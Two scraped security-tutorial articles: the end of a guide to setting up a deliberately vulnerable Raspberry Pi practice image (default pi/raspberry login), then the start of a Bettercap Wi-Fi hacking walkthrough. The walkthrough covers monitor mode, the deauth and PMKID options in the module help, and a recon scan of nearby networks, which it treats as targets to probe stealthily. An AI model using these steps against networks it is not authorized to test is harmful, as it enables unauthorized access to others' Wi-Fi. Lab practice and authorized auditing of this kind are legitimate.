what I use, but you can use anything that will write bootable disk images to an SD card.At this point, you'll need to insert the SD card you intend to run the DV-Pi on into your laptop. I recommend using no less than 8 GB microSD cards. Put the microSD card into your adapter of choice, and after plugging it into your laptop, ensure you can see it listed with your other drives.Burning the DV-Pi to a 16 GB microSD card.In Etcher (or whatever program you use), select the .img file you downloaded and unarchived, and burn it to the SD card you have inserted; This will give you a bootable image on the card, ready to insert into your Raspberry Pi.Step 2: Load Your SD Card & Connect EthernetAfter you're finished burning the OS onto the card, load the card into your Raspberry Pi and connect it via Ethernet to your network. Plug in the power, and you'll see the DV-Pi start up. You can also connect it to an HDMI display and watch it boot to ensure everything is working correctly. It should look exactly like this:[ OK ] Started LSB: Switch to ondemand cpu generator (unless shift key is pressed).
[ OK ] Reached target System Initialization.
[ OK ] Listening on Avahi mDNS/DNS-SD Stack Activation Socket.
[ OK ] Listening on D-Bus System Message Bus Socket.
[ OK ] Reached target Sockets.
[ OK ] Reached target Timers.
Starting Restore Sound Card State...
[ OK ] Reached target Basic System.
Starting Regular background program processing daemon...
[ OK ] Started Regular background program processing daemon.
Starting dhcpcd on all interfaces...
Starting Configure Bluetooth Modems connected by UART...
Starting Login Service...
Starting LSB: triggerhappy hotkey daemon...
Starting LSB: Autogenerate and use a swap file...
Starting Avahi mDNS/DNS-SD Stack...
Starting D-Bus System Message Bus...
[ OK ] Started D-Bus System Message Bus.
[ OK ] Started Avahi mNDS/DSN-SD Stack.
Starting System Logging Service...
Starting Permit User Sessions...
[ OK ] Started Restore Sound Card State.
[ OK ] Started dhcpcd on all interfaces.
[ OK ] Started LSB: triggerhappy hotkey daemon.
[ OK ] Started LSB: Autogenerate and use a swap file.
[ OK ] Started Permit User Sessions.
[ OK ] Reached target Network.
Starting OpenBSD Secure Shell server...
[ OK ] Started OpenBSD Secure Shell server.
Starting /etc/rc.local Compatibility...
[ OK ] Reached target Network is Online.
Starting LSB: Start NTP daemon...
[ OK ] Started System Logging Service.
[ OK ] Started etc.rc.local Compatibility.
[ OK ] Started Login Service.
Starting Terminate Plymouth Boot Screen...
Starting Wait for Plymouth Boot Screen to Quit...
[ OK ] Started Wait for Plymouth Boot Screen to Quit.
[ OK ] Started Terminate Plymouth Boot Screen.
Starting Getty on tty1...
[ OK ] Started Getty on tty1.
[ OK ] Reached target Login Prompts.
[ OK ] Started LSB: Start NTP daemon.
[ OK ] Started Configure Bluetooth Modems connected by UART.
[ OK ] Reached target Multi-User System.
Starting Update UTMP about System Runlevel Changes...
Starting Load/Save RF Kill Switch Status of rfkill1...
Starting Bluetooth service...
[ OK ] Started Load/Save RF Kill Switch Status of rfkill1.
[ OK ] Started Update UTMP about System Runlevel Changes.
[ OK ] Started Bluetooth service.
[ OK ] Reached target Bluetooth.
Raspbian GNU/Linux 8 dv-pi3 tty1
dv-pi3 login:Once the Pi is booted, you should be able to scan your network witharp-scanorFing network scannerfrom your laptop or phone to discover the Pi's IP address. When you have the IP address, you'll be able to SSH into the Pi. In this case, the device name we're looking for is "dv-pi3."More on Scanning Networks:Using Netdiscover & ARP to Find Internal IP & MAC AddressesScan of the DV-Pi over the network to find its IP address.Image by SADMIN/Null ByteStep 3: SSH into the DV-PiArmed with the IP address, we can now SSH into the Raspberry Pi. You can scan the Pi's IP address with Fing Network Scanner to ensure port 22 is open and waiting for a connection.Image by SADMIN/Null ByteYou can SSH into the Pi via command line from the terminal on your laptop by running:ssh pi@(ip address here)The password will beraspberry. You can also log in on a smartphone using an app likeJuiceSSH.Connecting to the DV-Pi via SSH on an Android phone.Image by SADMIN/Null ByteOnce you SSH in, you will have access to the DV-Pi's administrative controls! To know you've logged in, you should see a "Message of the Day" screen like below on a successful SSH connection.pi@10.11.1.180's password:
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.
Last login: Thu May 25 16:04:59 2017 from 10.11.3.62
pi@dv-pi3:~ $Step 4: Check Status & Start the DV-PiTo check the current status of our Damn Vulnerable Pi, we can use thedv-pitool helpfully included by Re4son. To check to see if the DV-Pi is running and vulnerable, enterdv-pi statuswhich will show the current status of the device. Initially, it should be off/not vulnerable.pi@dv-pi3:~ $ dv-pi status
[ STATUS ] DV-Pi is stopped
[ STATUS ] The system is not vulnerable
pi@dv-pi3:~ $Ready to start hacking? To start the DV-Pi's vulnerable applications, you'll need to rundv-pi start, then authenticate with the passwordraspberryin the terminal. This will start the vulnerable applications.pi@dv-pi3:~ $ dv-pi start
[ STATUS ] Starting DV-Pi
[sudo] password for pi:
[ STATUS ] DV-Pi started successfully
[ WARNING ] THE SYSTEM IS VULNERABLE!
pi@dv-pi3:~ $Step 5: Confirm It's WorkingTo confirm the DV-Pi is running, scan your network again using Fing to find the Pi's IP address. Tapping on the device will allow you to "scan services" to see that both port 22 and port 80 are open.Port 80 is running a vulnerable web service.Image by SADMIN/Null ByteTap on port 80, or in your browser go to the IP of your Raspberry Pi. A WordPress service to attack should be running on the Pi if the system is vulnerable. If you see the site below, you know the DV-Pi is live!Ready to get your fingers sticky.Image by SADMIN/Null ByteHacking the DV-PiOnce your DV-Pi is set up, you're ready to get started hacking it. To prove you gained access, a fake "customer database" of credit card info is included to simulate exfiltrating real data and provide some excitement upon succeeding. Re4sonruns a fantastic blogand responds to comments and questions on his builds, so check out his site in the future for more great work.Null Byte & the CommunityAfter speaking with Re4son about how useful his images are for our community, he'supdated his images to support all versions of the Raspberry Pi, including the newPi Zero W. Our hope is to bring a custom Null Byte image for our community to practice on, focusing on wireless security techniques using the Pi Zero W as a cheap, easy way to practice offensive Wi-Fi tools.If there's interest, please mention in the comments and we can start taking community requests for features and look into giveaways for our community!Stay tuned for tutorials on using the DV-Pi and other DV images on the Pi Zero W, and for word on Re4son's Wi-Fi focused DV-Pi. You can ask me questions here or @sadmin2001 onTwitterorInstagram.Don't Miss:How to Automate Hacking on the Raspberry Pi with the USB Rubber DuckyFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by SADMIN/Null ByteRelatedHow To:Log into Your Raspberry Pi Using a USB-to-TTL Serial CableHow To:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxHow To:Discover & Attack Raspberry Pis Using Default Credentials with Rpi-hunterHow To:Build a Beginner Hacking Kit with the Raspberry Pi 3 Model B+How To:Enable Monitor Mode & Packet Injection on the Raspberry PiRaspberry Pi:Hacking PlatformThe Hacks of Mr. Robot:How to Build a Hacking Raspberry PiHow To:Boot Multiple Operating Systems on the Raspberry Pi with BerryBootNews:Smart Home Proof of Concept Uses a Raspberry Pi to Control Air Conditioner with HoloLensHow To:Lock Down Your DNS with a Pi-Hole to Avoid Trackers, Phishing Sites & MoreHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationHow To:Use VNC to Remotely Access Your Raspberry Pi from Other DevicesOpen Sesame:Make Siri Open Your Garage Door via Raspberry PiHow To:Set Up Kali Linux on the New $10 Raspberry Pi Zero WHow To:Automate Hacking on the Raspberry Pi with the USB Rubber DuckyHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHow To:Set Up Network Implants with a Cheap SBC (Single-Board Computer)How To:Build a Portable Pen-Testing Pi BoxRaspberry Pi:Physical Backdoor Part 1Raspberry Pi Alternatives:10 Single-Board Computers Worthy of Hacking Projects Big & SmallRasberry Pi:IntroductionHow To:Use a Flatbed Scanner and Raspberry Pi to Take Super Sharp Macro PhotosMinecraft:Pi Edition, Coming Soon to a Raspberry Pi Near YouPost Pi Day Coding Project:Let's Uncover the Hidden Words in Pi |
How to Hack Wi-Fi Networks with Bettercap « Null Byte :: WonderHowTo | There are many tools out there forWi-Fi hacking, but few are as integrated and well-rounded as Bettercap. Thanks to an impressively simple interface that works even over SSH, it's easy to access many of the most powerful Wi-Fi attacks available from anywhere. To capture handshakes from both attended and unattended Wi-Fi networks, we'll use two of Bettercap's modules to help us search for weak Wi-Fi passwords.Wi-Fi Hacking FrameworksThe idea of organizing tools into useful frameworks isn't new, but there are many ways of doing it. Frameworks likeAirgeddoninclude an incredible amount of bleeding-edge Wi-Fi hacking tools but cannot be used over a command line. That's because Airgeddon requires the ability to open new windows for different tools to run, so if you're communicating with aRaspberry Piover SSH, you can forget launching many Wi-Fi hacking tools.Don't Miss:Crack Weak Wi-Fi Passwords in Seconds with AirgeddonBettercap allows access to the tools needed to swiftly scout for targets, designate one, and grab a WPA handshake to brute-force. While we won't be working with any WPS recon modules today, our setup will allow you to audit for weak WPA passwords with ease. The way Bettercap is organized allows for anyone within proximity of a target to probe for weak WPA passwords while staying stealthy and undetected.WPA Hacking with BettercapBettercap is described as the Swiss Army knife of wireless hacking. To that end, it has a lot of modules for sniffing networks after you connect to them, as well asother modules looking at Bluetooth devices. The most straightforward use of Bettercap is to use the scanning and recon modules to identify nearby targets to direct attacks at, then attempt to identify networks with weak passwords after capturing the necessary information.Our targets, in this case, will be two kinds of networks: attended and unattended. Attended networks are easier to attack, and a larger number of tools will work against them. With an attended network, there are people actively using it to download files, watch Netflix, or browse the internet. We can count on there being devices to kick off the network that will give us the information we need to try to crack the password.Don't Miss:Build a Software-Based Wi-Fi Jammer with AirgeddonUnattended networks are trickier to target. Because they do not have devices with an active data connection on them to disconnect, these networks were typically unable to yield the information needed to audit for a weak password. With the PMKID approach to cracking WPA passwords, that's no longer the case. The tool is integrated as one of the Wi-Fi hacking modules and makes it even easier to attack.Brute-Forcing Power WorkaroundsBettercap doesn't directly break the passwords of networks it targets, but it would be impossible to do so without the information Bettercap provides. Once a handshake is captured, you'll need to use a brute-forcing tool likeHydraorAircrack-ngto try a list of common passwords against the hash you've captured. How quickly it will happen depends on a few factors.The first is whether the password used to secure the target network is in the password list you're using at all. If it isn't, this attack won't succeed, so it's essential to use lists of real stolen passwords or customized password generators likeCUPP. If you don't believe that brute-force attacks are still effective, you'd be surprised to learn thatany eight-character password can be brute-forced in a little over two hours.Don't Miss:Load Kali on the Raspberry Pi 4 for a Mini Hacking StationAnother workaround to using a device like aRaspberry Pi for Wi-Fi hackingis to upload the WPA handshake to a cracking service or network. Many hackersuse networks that distribute the cracking loadamong volunteer "worker" computers, which lets the group crack WPA handshakes that less powerful devices can gather.If you were to run Bettercap on a Raspberry Pi and then upload the captured handshakes to a distributed WPA cracker, you would be able to crack passwords within mere minutes. Alternatively, you could set this up yourself if you have a computer with a powerful processor and GPU.What You'll NeedTo follow this guide, you'll need a wireless network card you can put into wireless monitor mode. You can find a list of these in ourpreviousarticleson buying Wi-Fi network adapters. Your computer may have an internal card that supports wireless monitor mode, but you'll need to be running Linux to work with it. You can refer toour other guideto find out if your existing card will work.More Info:The Best Wireless Network Adapter for Wi-Fi HackingMore Info:Field-Tested Kali Linux Compatible Wireless AdaptersMore Info:Check Your Wireless Card for Monitor Mode & Packet InjectionYou can follow our guide today with Kali Linux on your laptop, a Raspberry Pi running Kali Linux, or even Ubuntu with some additional installation. For best results, you should use Kali Linux, because Bettercap comes preinstalled.Step 1: Install BettercapIf you have Kali Linux installed, you can find it in the "Sniffing & Spoofing" folder in the "Applications" menu or from a search.If you don't have Bettercap, the documentation for the project is onthe Bettercap website. If you're running Kali, you can runapt install bettercapto add it, as seen below. Then, you can locate the tool as seen above.~# apt install bettercap
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following package was automatically installed and is no longer required:
liblinear3
Use 'apt autoremove' to remove it.
The following additional packages will be installed:
bettercap-caplets
Suggested packages:
bettercap-ui
The following NEW packages will be installed:
bettercap bettercap-caplets
0 upgraded, 2 newly installed, 0 to remove and 1854 not upgraded.
Need to get 6,931 kB of archives.
After this operation, 25.8 MB of additional disk space will be used.
Do you want to continue? [Y/n] Y
Get:1 http://archive.linux.duke.edu/kalilinux/kali kali-rolling/main amd64 bettercap amd64 2.26.1-0kali1 [6,821 kB]
Get:2 http://archive.linux.duke.edu/kalilinux/kali kali-rolling/main amd64 bettercap-caplets all 0+git20191009-0kali1 [110 kB]
Fetched 6,931 kB in 3s (2,332 kB/s)
Selecting previously unselected package bettercap.
(Reading database ... 417705 files and directories currently installed.)
Preparing to unpack .../bettercap_2.26.1-0kali1_amd64.deb ...
Unpacking bettercap (2.26.1-0kali1) ...
Selecting previously unselected package bettercap-caplets.
Preparing to unpack .../bettercap-caplets_0+git20191009-0kali1_all.deb ...
Unpacking bettercap-caplets (0+git20191009-0kali1) ...
Setting up bettercap-caplets (0+git20191009-0kali1) ...
Setting up bettercap (2.26.1-0kali1) ...
bettercap.service is a disabled or a static unit, not starting it.If you're not running Kali, you'll need to refer toBettercap's more complicated setup. If you're on a Mac, you can do network recon, but the modules I'm writing about won't work. Still, you can check out other features by installing it withHomebrew, using the commandbrew install bettercap.Step 2: Launch BettercapWhen ready, click on Bettercap's icon to launch it. You should see the following help menu in a terminal window, although the tool will not automatically start.Usage of bettercap:
-autostart string
Comma separated list of modules to auto start. (default "events.stream")
-caplet string
Read commands from this file and execute them in the interactive session.
-cpu-profile file
Write cpu profile file.
-debug
Print debug messages.
-env-file string
Load environment variables from this file if found, set to empty to disable environment persistence.
-eval string
Run one or more commands separated by ; in the interactive session, used to set variables via command line.
-gateway-override string
Use the provided IP address instead of the default gateway. If not specified or invalid, the default gateway will be used.
-iface string
Network interface to bind to, if empty the default interface will be auto selected.
-mem-profile file
Write memory profile to file.
-no-colors
Disable output color effects.
-no-history
Disable interactive session history file.
-silent
Suppress all logs which are not errors.
-version
Print the version and exit.Here, we can see the arguments we can start Bettercap with. One of the most useful of these is-ifacewhich allows us to define which interface to work with. If we have an external wireless network adapter, we'll need to define it with that.Step 3: Connect Your Network Adapter & StartNow, we'll need to put our card into monitor mode. If we're connected to a Wi-Fi network already, Bettercap will start sniffing that network instead, so monitor mode always comes first.Locate your card withifconfigorip ato find the name of your network adapter. It should be something likewlan0for your internal adapter andwlan1for your USB network adapter.~# ifconfig
eth0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
ether 50:7b:9d:7a:c8:8a txqueuelen 1000 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 38625 bytes 3052647 (2.9 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 38625 bytes 3052647 (2.9 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.5.93 netmask 255.255.255.0 broadcast 192.168.5.255
inet6 prefixlen 64 scopeid 0x20<link>
ether txqueuelen 1000 (Ethernet)
RX packets 451 bytes 119964 (117.1 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 364 bytes 115672 (112.9 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
wlan1: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
ether 18:d6:c7:0e:e7:a1 txqueuelen 1000 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0Take the adapter that's monitor mode-compatible, andswitch it to monitor modeby opening a terminal window and typingairmon-ng start wlan1, withwlan1substituted with the name of your network adapter.More Info:How to Put Your Wireless Card in Monitor Mode~# airmon-ng start wlan1
Found 3 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode
PID Name
559 NetworkManager
621 wpa_supplicant
14785 dhclient
PHY Interface Driver Chipset
phy0 wlan0 ath9k Qualcomm Atheros QCA9565 / AR9565 Wireless Network Adapter (rev 01)
phy3 wlan1 ath9k_htc Atheros Communications, Inc. AR9271 802.11n
(mac80211 monitor mode vif enabled for [phy3]wlan1 on [phy3]wlan1mon)
(mac80211 station mode vif disabled for [phy3]wlan1)You can then typeifconfigorip aagain to verify it started.~# ifconfig
eth0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
ether 50:7b:9d:7a:c8:8a txqueuelen 1000 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 38645 bytes 3053647 (2.9 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 38645 bytes 3053647 (2.9 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.5.93 netmask 255.255.255.0 broadcast 192.168.5.255
inet6 prefixlen 64 scopeid 0x20<link>
ether txqueuelen 1000 (Ethernet)
RX packets 490 bytes 126996 (124.0 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 386 bytes 126911 (123.9 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
wlan1mon: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
unspec 18-D6-C7-0E-E7-A1-30-3A-00-00-00-00-00-00-00-00 txqueuelen 1000 (UNSPEC)
RX packets 1202 bytes 363761 (355.2 KiB)
RX errors 0 dropped 1176 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0After making sure that your wireless card is in monitor mode, you can start Bettercap by typingsudo bettercap --iface wlan1monin a new terminal window, substituting the "wlan1" portion with your card's name.~# sudo bettercap --iface wlan1mon
bettercap v2.24.1 (built for linux amd64 with go1.12.7) [type 'help' for a list of commands]
wlan1 »Once Bettercap opens, typehelpto see a list of all the modules running and commands. In the modules, you can see that the Wi-Fi module is not started by default.wlan1 » help
help MODULE : List available commands or show module specific help if no module name is provided.
active : Show information about active modules.
quit : Close the session and exit.
sleep SECONDS : Sleep for the given amount of seconds.
get NAME : Get the value of variable NAME, use * alone for all, or NAME* as a wildcard.
set NAME VALUE : Set the VALUE of variable NAME.
read VARIABLE PROMPT : Show a PROMPT to ask the user for input that will be saved inside VARIABLE.
clear : Clear the screen.
include CAPLET : Load and run this caplet in the current session.
! COMMAND : Execute a shell command and print its output.
alias MAC NAME : Assign an alias to a given endpoint given its MAC address.
Modules
any.proxy > not running
api.rest > not running
arp.spoof > not running
ble.recon > not running
caplets > not running
dhcp6.spoof > not running
dns.spoof > not running
events.stream > running
gps > not running
http.proxy > not running
http.server > not running
https.proxy > not running
https.server > not running
mac.changer > not running
mysql.server > not running
net.probe > not running
net.recon > running
net.sniff > not running
packet.proxy > not running
syn.scan > not running
tcp.proxy > not running
ticker > not running
update > not running
wifi > not running
wol > not runningStep 4: Scan for Nearby NetworksTo get started, let's look at the commands we can issue under the Wi-Fi module. We can see this information by typinghelp wifiinto Bettercap.wlan1 » help wifi
wifi (running): A module to monitor and perform wireless attacks on 802.11.
wifi.recon on : Start 802.11 wireless base stations discovery and channel hopping.
wifi.recon off : Stop 802.11 wireless base stations discovery and channel hopping.
wifi.clear : Clear all access points collected by the WiFi discovery module.
wifi.recon MAC : Set 802.11 base station address to filter for.
wifi.recon clear : Remove the 802.11 base station filter.
wifi.deauth BSSID : Start a 802.11 deauth attack, if an access point BSSID is provided, every client will be deauthenticated, otherwise only the selected client. Use 'all', '*' or a broadcast BSSID (ff:ff:ff:ff:ff:ff) to iterate every access point with at least one client and start a deauth attack for each one.
wifi.assoc BSSID : Send an association request to the selected BSSID in order to receive a RSN PMKID key. Use 'all', '*' or a broadcast BSSID (ff:ff:ff:ff:ff:ff) to iterate for every access point.
wifi.ap : Inject fake management beacons in order to create a rogue access point.
wifi.show.wps BSSID : Show WPS information about a given station (use 'all', '*' or a broadcast BSSID for all).
wifi.show : Show current wireless stations list (default sorting by essid).
wifi.recon.channel : WiFi channels (comma separated) or 'clear' for channel hopping.
Parameters
wifi.ap.bssid : BSSID of the fake access point. (default=<random mac>)
wifi.ap.channel : Channel of the fake access point. (default=1)
wifi.ap.encryption : If true, the fake access point will use WPA2, otherwise it'll result as an open AP. (default=true)
wifi.ap.ssid : SSID of the fake access point. (default=FreeWiFi)
wifi.assoc.open : Send association requests to open networks. (default=false)
wifi.assoc.silent : If true, messages from wifi.assoc will be suppressed. (default=false)
wifi.assoc.skip : Comma separated list of BSSID to skip while sending association requests. (default=)
wifi.deauth.open : Send wifi deauth packets to open networks. (default=true)
wifi.deauth.silent : If true, messages from wifi.deauth will be suppressed. (default=false)
wifi.deauth.skip : Comma separated list of BSSID to skip while sending deauth packets. (default=)
wifi.handshakes.file : File path of the pcap file to save handshakes to. (default=~/bettercap-wifi-handshakes.pcap)
wifi.hop.period : If channel hopping is enabled (empty wifi.recon.channel), this is the time in milliseconds the algorithm will hop on every channel (it'll be doubled if both 2.4 and 5.0 bands are available). (default=250)
wifi.region : Set the WiFi region to this value before activating the interface. (default=BO)
wifi.rssi.min : Minimum WiFi signal strength in dBm. (default=-200)
wifi.show.filter : Defines a regular expression filter for wifi.show (default=)
wifi.show.limit : Defines limit for wifi.show (default=0)
wifi.show.sort : Defines sorting field (rssi, bssid, essid, channel, encryption, clients, seen, sent, rcvd) and direction (asc or desc) for wifi.show (default=rssi asc)
wifi.skip-broken : If true, dot11 packets with an invalid checksum will be skipped. (default=true)
wifi.source.file : If set, the wifi module will read from this pcap file instead of the hardware interface. (default=)
wifi.txpower : Set WiFi transmission power to this value before activating the interface. (default=30)Here, we can see lots of options! For our purposes, we'll be selecting the Wi-Fi recon module. To start it, typewifi.recon oninto Bettercap. You'll begin to get a flood of messages as soon as networks start to be detected. If this gets overwhelming, you can typeevents.stream offto mute the alerts.wlan1 » wifi.recon on
[23:01:35] [sys.log] [inf] wifi WiFi region set to 'BO'
[23:01:35] [sys.log] [inf] wifi interface wlan1 txpower set to 30
[23:01:35] [sys.log] [inf] wifi started (min rssi: -200 dBm)
wlan1 » [23:01:35] [sys.log] [inf] wifi channel hopper started
wlan1 » [23:01:35] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1 » [23:01:35] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1 » [23:01:35] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1 » [23:01:36] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1 » [23:01:36] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1 » [23:01:36] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1 » [23:01:36] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1 » [23:01:37] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1 » [23:01:37] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1 » [23:01:37] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1 » [23:01:37] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1 » [23:01:38] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1 » [23:01:38] [wifi.client.new] new station ████████████████████████████████████████████████████████████
wlan1 » [23:01:38] [wifi.client.new] new station ████████████████████████████████████████████████████████████
wlan1 » [23:01:39] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1 » [23:01:39] [wifi.client.new] new station ████████████████████████████████████████████████████████████
wlan1 » [23:01:39] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1 » [23:01:41] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1 » [23:01:41] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1 » [23:01:41] [wifi.client.new] new station ████████████████████████████████████████████████████████████
wlan1 » [23:01:42] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1 » [23:01:42] [wifi.client.new] new station ████████████████████████████████████████████████████████████
wlan1 » [23:01:42] [wifi.client.new] new station ████████████████████████████████████████████████████████████
wlan1 » [23:01:42] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1 » [23:01:42] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1 » [23:01:43] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1 » [23:01:52] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1 » [23:01:52] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1 » [23:01:52] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1 » [23:01:53] [wifi.client.new] new station ████████████████████████████████████████████████████████████Step 5: Identify TargetsTo see the networks that have been detected, typewifi.showto display a list of networks.wlan1 » wifi.show
+---------+-------------------+-------------------------------+------------------+-----+----+---------+--------+--------+----------+
| RSSI ▴ | BSSID | SSID | Encryption | WPS | Ch | Clients | Sent | Recvd | Seen |
+---------+-------------------+-------------------------------+------------------+-----+----+---------+--------+--------+----------+
| -55 dBm | ██:██:██:██:██:██ | <hidden> | WPA2 (TKIP, PSK) | | 6 | | | | 23:01:35 |
| -57 dBm | ██:██:██:██:██:██ | █████████████ | OPEN | | 6 | 1 | 400 B | 66 B | 23:01:36 |
| -63 dBm | ██:██:██:██:██:██ | ██████ | WPA2 (CCMP, PSK) | | 11 | | | | 23:01:36 |
| -64 dBm | ██:██:██:██:██:██ | ██████████ | WPA2 (TKIP, PSK) | 2.0 | 5 | 1 | 7.1 kB | 128 B | 23:01:37 |
| -66 dBm | ██:██:██:██:██:██ | ████████████████ | WPA (TKIP, PSK) | | 1 | | | | 23:01:39 |
| -71 dBm | ██:██:██:██:██:██ | ███████████████████ | WPA2 (CCMP, PSK) | | 1 | | | | 23:01:35 |
| -72 dBm | ██:██:██:██:██:██ | ████████████████████████████ | WPA2 (CCMP, PSK) | | 6 | | | | 23:01:35 |
| -81 dBm | ██:██:██:██:██:██ | ████████████████ | OPEN | | 11 | | | | 23:01:43 |
| -82 dBm | ██:██:██:██:██:██ | ████████████████████████ | WPA2 (CCMP, PSK) | | 7 | | | | 23:01:43 |
| -82 dBm | ██:██:██:██:██:██ | | WPA2 (CCMP, PSK) | 2.0 | 6 | | 3.9 kB | | 23:01:39 |
| -86 dBm | ██:██:██:██:██:██ | ████████████████ | OPEN | | 1 | 1 | | 177 B | 23:01:35 |
| -86 dBm | ██:██:██:██:██:██ | <hidden> | WPA2 (CCMP, MGT) | | 1 | | | | 23:01:38 |
| -86 dBm | ██:██:██:██:██:██ | ███████████████████ | WPA2 (CCMP, PSK) | | 6 | | | | 23:01:38 |
| -86 dBm | ██:██:██:██:██:██ | ██████████████ | WPA2 (CCMP, PSK) | | 6 | 1 | 670 B | 384 B | 23:01:39 |
| -86 dBm | ██:██:██:██:██:██ | <hidden> | WPA2 (CCMP, MGT) | | 6 | | | | 23:01:39 |
| -86 dBm | ██:██:██:██:██:██ | ███████████████████ | WPA2 (CCMP, MGT) | | 6 | | | | 23:01:37 |
| -87 dBm | ██:██:██:██:██:██ | █████████████████████████████ | WPA2 (CCMP, PSK) | 2.0 | 8 | | | | 23:01:36 |
| -87 dBm | ██:██:██:██:██:██ | <hidden> | WPA2 (CCMP, PSK) | | 6 | | 759 B | | 23:01:44 |
| -87 dBm | ██:██:██:██:██:██ | ████████████████████ | OPEN | | 6 | 1 | 228 B | 1.2 kB | 23:01:43 |
| -88 dBm | ██:██:██:██:██:██ | ███████████████████████████ | WPA2 (CCMP, PSK) | 2.0 | 6 | | | | 23:01:44 |
| -88 dBm | ██:██:██:██:██:██ | ██████████████████ | OPEN | | 8 | | | | 23:01:41 |
| -88 dBm | ██:██:██:██:██:██ | ███████████████████████████ | WPA2 (CCMP, PSK) | 2.0 | 6 | | | | 23:01:41 |
| -90 dBm | ██:██:██:██:██:██ | <hidden> | WPA2 (CCMP, MGT) | | 6 | | | | 23:01:41 |
| -91 dBm | ██:██:██:██:██:██ | ██████████ | WPA2 (TKIP, PSK) | | 11 | | | | 23:01:41 |
| -92 dBm | ██:██:██:██:██:██ | ██ | WPA2 (CCMP, PSK) | 2.0 | 11 | | | | 23:01:35 |
| -92 dBm | ██:██:██:██:██:██ | <hidden> | OPEN | | 6 | | | | 23:01:37 |
| -92 dBm | ██:██:██:██:██:██ | ████████ | WPA2 (TKIP, PSK) | | 11 | | | | 23:01:37 |
| -94 dBm | ██:██:██:██:██:██ | █████████████████████████ | WPA2 (CCMP, PSK) | | 11 | | | | 23:01:37 |
| -94 dBm | ██:██:██:██:██:██ | ██████████████████████████ | WPA2 (CCMP, PSK) | 2.0 | 6 | | | | 23:01:42 |
